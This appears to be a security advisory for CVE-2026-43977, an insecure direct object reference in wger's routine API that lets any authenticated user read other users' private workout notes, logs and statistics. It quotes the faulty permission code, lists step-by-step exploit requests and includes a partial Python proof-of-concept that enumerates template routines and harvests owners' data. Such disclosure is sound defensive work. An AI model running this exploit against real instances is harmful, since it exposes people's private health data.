CVE-2026-43977

Description

### Summary Any authenticated user can read another user's private workout session notes, exercise history, and training statistics by calling the /logs/ and /stats/ actions on a routine they do not own. The RoutinePermission class grants read access to any authenticated user when a routine has is_template=True, regardless of ownership. The /logs/ and /stats/ API actions use the same permission check but return the routine owner's personal training data instead of the requesting user's data, creating an insecure direct object reference (IDOR). An attacker with a free account can enumerate all public template routine IDs via GET /api/v2/routine/?is_template=true, then call GET /api/v2/routine/{id}/logs/ and GET /api/v2/routine/{id}/stats/ to access the owner's private health data including workout notes, weights, repetitions, and performance statistics. ### Description wger exposes a REST API endpoint that allows any authenticated user to retrieve the **private workout session notes, exercise logs, and training statistics** belonging to another user, as long as that user has at least one routine marked as a public template. The vulnerability exists in `RoutineViewSet` (`wger/manager/api/views.py`). The view defines two custom actions `/logs/` and `/stats/` that are intended to return data for the **requesting user's own** training history within a routine. However, the underlying permission check (`RoutinePermission.has_object_permission`) grants read access to **any** authenticated user when the routine has `is_template=True`, regardless of ownership. When the `/logs/` or `/stats/` actions are invoked against a routine the attacker does not own, they return the **owner's** private workout history, not the attacker's. ### Root Cause **File:** `wger/manager/api/permissions.py`, lines 30–41 ```python def has_object_permission(self, request, view, obj): if obj.user == request.user: return True if obj.is_template: # ← any template is readable return request.method in permissions.SAFE_METHODS # by any authenticated user return False ``` **File:** `wger/manager/api/views.py`, lines 173–199 ```python @action(detail=True, url_path='logs') def logs(self, request, pk): out = LogDisplaySerializer( self.get_object().logs_display(), # ← returns OWNER's logs, not request.user's many=True, ).data return Response(out) @action(detail=True, url_path='stats') def stats(self, request, pk): out = LogStatsDataSerializer( self.get_object().calculate_log_statistics() # ← owner's statistics ).data return Response(out) ``` `self.get_object()` retrieves the routine belonging to the **owner** (e.g., user A). Since `is_template=True` passes the permission check for any authenticated user, the attacker's request reaches `logs_display()` and `calculate_log_statistics()`, which return the **owner's** workout history, not the attacker's. The intended behavior is that templates are public workout *plans* (exercise structure, sets, reps), but the `/logs/` and `/stats/` actions expose the *owner's personal training history* logged against that plan. ### Impact An authenticated attacker can: 1. **Enumerate** all public template routines across all users: `GET /api/v2/routine/?is_template=true&is_public=true` 2. **Read private workout session notes** (freeform text entered by the victim after each workout session) 3. **Read full workout history** including exercise names, weights, repetitions, and dates 4. **Read training statistics** including volume, intensity, and set counts per muscle group and mesocycle This data is health-related and personal. Under GDPR and similar regulations, unauthorized access to personal health data constitutes a data breach. ### Proof of Concept #### Scenario There are two users in the system: - **alice** : a regular wger user who has been using the platform for months. She created a routine called "My 5/3/1 Program" and marked it as a public template so others can copy her exercise structure. She logs all her workouts with personal notes after each session. - **bob** : a second registered user who has never interacted with alice's account. **The attack:** Bob calls the routine listing endpoint to find all public templates. He gets back alice's routine ID. He then calls `/api/v2/routine/{id}/logs/` an endpoint that should only show his own logs but instead receives alice's full workout history, including all her session notes ("Felt strong today, PR on squat"), weights, and performance data. Bob does **not** need to know alice's username. He only needs her routine ID, which is a sequential integer discoverable by iterating `?is_template=true`. #### Step-by-step 1. Bob registers a free account on the wger instance and obtains a JWT access token via `POST /api/v2/token`. 2. Bob calls `GET /api/v2/routine/?is_template=true&is_public=true` this lists all public template routines from **all users** across the platform, including their IDs. 3. For each routine ID returned, Bob calls `GET /api/v2/routine/{id}/logs/` this returns the **routine owner's** workout sessions, including freeform personal notes and all logged exercises with weights and reps. 4. Bob calls `GET /api/v2/routine/{id}/stats/` to get aggregated statistics (total volume, intensity by muscle group, weekly progression) for the routine's owner. No special permissions are needed. A fresh account (1-minute-old) can exploit this. #### Python PoC ```python #!/usr/bin/env python3 """ PoC: IDOR - Workout Session Data Exposure via Template Routine API Affected: wger <= 2.5.0a2 Target: GET /api/v2/routine/{id}/logs/ GET /api/v2/routine/{id}/stats/ """ import requests import json BASE_URL = "http://TARGET_IP" # replace with target def get_token(username, password): r = requests.post( f"{BASE_URL}/api/v2/token", json={"username": username, "password": password}, ) r.raise_for_status() return r.json()["access"] def exploit(attacker_token): headers = {"Authorization": f"Bearer {attacker_token}"} # Step 1: Enumerate all public template routines (from ALL users) print("[*] Step 1: Enumerating public template routines...") r = requests.get( f"{BASE_URL}/api/v2/routine/", params={"is_template": "true", "is_public": "true"}, headers=headers, ) routines = r.json().get("results", []) print(f"[+] Found {len(routines)} public template routine(s)\n") for routine in routines: routine_id = routine["id"] routine_name = routine["name"] print(f"[*] Targeting routine #{routine_id}: '{routine_name}'") # Step 2: Fetch the OWNER's workout session logs (IDOR) logs_r = requests.get( f"{BASE_URL}/api/v2/routine/{routine_id}/logs/", headers=headers, ) if logs_r.status_code == 200: sessions = logs_r.json() print(f"[+] VULNERABLE!
